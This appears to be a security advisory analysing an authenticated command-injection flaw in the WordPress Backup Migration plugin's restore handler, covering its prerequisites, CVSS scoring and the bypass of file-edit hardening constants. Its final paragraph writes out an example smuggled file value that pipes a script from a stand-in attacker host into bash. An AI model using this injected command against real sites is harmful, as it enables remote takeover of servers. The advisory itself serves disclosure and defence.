Backup Migration EUVD-2026-53182

Exploitation requires an authenticated session with WordPress Administrator-level privileges OR any user account that has been explicitly granted the plugin's custom do_backups capability. The Backup Migration plugin must be installed and active on the target WordPress site. The vulnerable code path is specifically the restoreBackup() AJAX handler in includes/ajax.php, triggered via a POST request to wp-admin/admin-ajax.php. No special server configuration beyond the plugin being active is required. What limits exploitation: the PR:H requirement means an attacker cannot exploit this without first compromising an administrative account; unauthenticated or subscriber/editor-level users cannot reach this handler. The scope is also limited to the web-server user's OS privileges - privilege escalation beyond that would require a separate local exploit.

The CVSS 3.1 score of 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) accurately characterizes a high-severity but access-gated vulnerability. The network attack vector with low complexity and no user interaction means exploitation is technically trivial once the prerequisite access is met, but PR:H (high privileges) is the critical limiting factor: an attacker must already control a WordPress administrator account or possess the non-default do_backups capability before they can reach this code path. This substantially narrows the realistic threat surface. No EPSS score was supplied in the input data, so exploitation probability cannot be quantified here. The vulnerability is not listed in the CISA KEV catalog and no POC code has been identified at time of analysis, indicating no confirmed in-the-wild activity. The most concerning aspect is the bypass of WordPress hardening constants DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS: site owners who believe those constants prevent code execution from the admin panel are exposed to a wider impact than they expect. Compromise of an administrator account - whether via credential stuffing, phishing, or another plugin vulnerability - could chain directly into OS-level compromise.

An attacker who has obtained valid WordPress administrator credentials - through credential stuffing, phishing, or lateral movement from a compromised account - sends a crafted POST request to the site's wp-admin/admin-ajax.php endpoint targeting the restoreBackup() handler, with the file parameter set to a value such as valid_backup.zip; curl http://attacker.com/shell.sh | bash. Because esc_attr() does not strip the semicolon or pipe, exec() executes the injected command chain as the web-server user (e.g., www-data), granting remote OS access even on hardened WordPress instances with DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS defined.